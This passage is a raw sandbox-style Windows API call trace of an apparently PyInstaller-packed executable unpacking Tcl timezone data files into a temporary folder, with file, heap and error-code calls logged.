lpSystemTime=0x4f8ce0) returned 1 [0041.436] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.436] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.436] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.436] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.436] CloseHandle (hObject=0x10c) returned 1 [0041.436] GetLastError () returned 0x0 [0041.436] SetLastError (dwErrCode=0x0) [0041.436] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Eire") returned 61 [0041.436] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Eire" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\eire"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.436] GetLastError () returned 0x2 [0041.436] SetLastError (dwErrCode=0x2) [0041.436] GetLastError () returned 0x2 [0041.436] SetLastError (dwErrCode=0x2) [0041.436] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Eire", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Eire", lpFilePart=0x0) returned 0x3c [0041.436] GetLastError () returned 0x2 [0041.436] SetLastError (dwErrCode=0x2) [0041.436] GetLastError () returned 0x2 [0041.436] SetLastError (dwErrCode=0x2) [0041.436] GetLastError () returned 0x2 [0041.436] SetLastError (dwErrCode=0x2) [0041.436] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Eire") returned 61 [0041.436] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.436] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Eire" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\eire"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.437] GetFileType (hFile=0x10c) returned 0x1 [0041.437] htonl (hostlong=0xa7000000) returned 0xa7 [0041.437] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.437] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xa7, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xa7, lpOverlapped=0x0) returned 1 [0041.438] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.438] CloseHandle (hObject=0x10c) returned 1 [0041.438] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544990 | out: hHeap=0x530000) returned 1 [0041.438] htonl (hostlong=0x30000000) returned 0x30 [0041.438] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.438] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.438] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.439] GetFileType (hFile=0x10c) returned 0x1 [0041.439] htonl (hostlong=0x60b45b00) returned 0x5bb460 [0041.439] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x606460, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.439] htonl (hostlong=0x6b000000) returned 0x6b [0041.439] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x6b) returned 0x55cfe0 [0041.439] htonl (hostlong=0x6b000000) returned 0x6b [0041.439] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.439] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.439] htonl (hostlong=0x69000000) returned 0x69 [0041.439] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x69) returned 0x550600 [0041.439] htonl (hostlong=0x6b000000) returned 0x6b [0041.439] htonl (hostlong=0x69000000) returned 0x69 [0041.439] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.439] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.439] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.439] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.439] CloseHandle (hObject=0x10c) returned 1 [0041.439] GetLastError () returned 0x0 [0041.439] SetLastError (dwErrCode=0x0) [0041.439] GetLastError () returned 0x0 [0041.439] SetLastError (dwErrCode=0x0) [0041.439] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.439] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.439] GetFileType (hFile=0x10c) returned 0x1 [0041.439] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.439] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.439] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.439] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.440] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.440] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.440] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.440] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.440] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.440] CloseHandle (hObject=0x10c) returned 1 [0041.440] GetLastError () returned 0x0 [0041.440] SetLastError (dwErrCode=0x0) [0041.440] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.440] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.440] GetFileType (hFile=0x10c) returned 0x1 [0041.440] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.440] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.440] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.440] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.440] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.440] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.440] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.440] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.440] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.440] CloseHandle (hObject=0x10c) returned 1 [0041.440] GetLastError () returned 0x0 [0041.440] SetLastError (dwErrCode=0x0) [0041.440] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc") returned 60 [0041.441] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.441] GetLastError () returned 0x2 [0041.441] SetLastError (dwErrCode=0x2) [0041.441] GetLastError () returned 0x2 [0041.441] SetLastError (dwErrCode=0x2) [0041.441] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc", lpFilePart=0x0) returned 0x3b [0041.441] GetLastError () returned 0x2 [0041.441] SetLastError (dwErrCode=0x2) [0041.441] GetLastError () returned 0x2 [0041.441] SetLastError (dwErrCode=0x2) [0041.441] GetLastError () returned 0x2 [0041.441] SetLastError (dwErrCode=0x2) [0041.441] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc"), lpSecurityAttributes=0x0) returned 1 [0041.441] GetLastError () returned 0x2 [0041.441] SetLastError (dwErrCode=0x2) [0041.441] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT") returned 64 [0041.441] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.441] GetLastError () returned 0x2 [0041.441] SetLastError (dwErrCode=0x2) [0041.441] GetLastError () returned 0x2 [0041.441] SetLastError (dwErrCode=0x2) [0041.441] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT", lpFilePart=0x0) returned 0x3f [0041.441] GetLastError () returned 0x2 [0041.441] SetLastError (dwErrCode=0x2) [0041.441] GetLastError () returned 0x2 [0041.441] SetLastError (dwErrCode=0x2) [0041.442] GetLastError () returned 0x2 [0041.442] SetLastError (dwErrCode=0x2) [0041.442] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT") returned 64 [0041.442] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.442] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.442] GetFileType (hFile=0x10c) returned 0x1 [0041.442] htonl (hostlong=0x69000000) returned 0x69 [0041.442] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.443] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x69, lpOverlapped=0x0) returned 1 [0041.845] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.845] CloseHandle (hObject=0x10c) returned 1 [0041.845] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0041.845] htonl (hostlong=0x30000000) returned 0x30 [0041.846] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.846] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.846] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.846] GetFileType (hFile=0x10c) returned 0x1 [0041.846] htonl (hostlong=0xcbb45b00) returned 0x5bb4cb [0041.846] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6064cb, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.846] htonl (hostlong=0x80000000) returned 0x80 [0041.846] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x80) returned 0x55cfe0 [0041.846] htonl (hostlong=0x80000000) returned 0x80 [0041.846] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.846] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.846] htonl (hostlong=0x9a000000) returned 0x9a [0041.846] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9a) returned 0x550600 [0041.846] htonl (hostlong=0x80000000) returned 0x80 [0041.846] htonl (hostlong=0x9a000000) returned 0x9a [0041.846] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.846] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.846] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.846] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.846] CloseHandle (hObject=0x10c) returned 1 [0041.846] GetLastError () returned 0x0 [0041.846] SetLastError (dwErrCode=0x0) [0041.846] GetLastError () returned 0x0 [0041.847] SetLastError (dwErrCode=0x0) [0041.847] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.847] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.847] GetFileType (hFile=0x10c) returned 0x1 [0041.847] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.847] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.847] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.847] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.847] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.847] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.847] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.847] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.847] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.847] CloseHandle (hObject=0x10c) returned 1 [0041.847] GetLastError () returned 0x0 [0041.847] SetLastError (dwErrCode=0x0) [0041.847] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.847] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.847] GetFileType (hFile=0x10c) returned 0x1 [0041.847] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.847] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.847] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.847] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.847] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.848] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.848] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.848] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.848] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.848] CloseHandle (hObject=0x10c) returned 1 [0041.848] GetLastError () returned 0x0 [0041.848] SetLastError (dwErrCode=0x0) [0041.848] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc") returned 60 [0041.848] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.848] GetFileType (hFile=0x10c) returned 0x1 [0041.848] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.848] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.848] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.848] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.848] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.848] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.848] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.848] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.848] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.848] CloseHandle (hObject=0x10c) returned 1 [0041.848] GetLastError () returned 0x0 [0041.848] SetLastError (dwErrCode=0x0) [0041.848] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+0") returned 66 [0041.848] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt+0"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.849] GetLastError () returned 0x2 [0041.849] SetLastError (dwErrCode=0x2) [0041.849] GetLastError () returned 0x2 [0041.849] SetLastError (dwErrCode=0x2) [0041.849] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+0", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+0", lpFilePart=0x0) returned 0x41 [0041.849] GetLastError () returned 0x2 [0041.849] 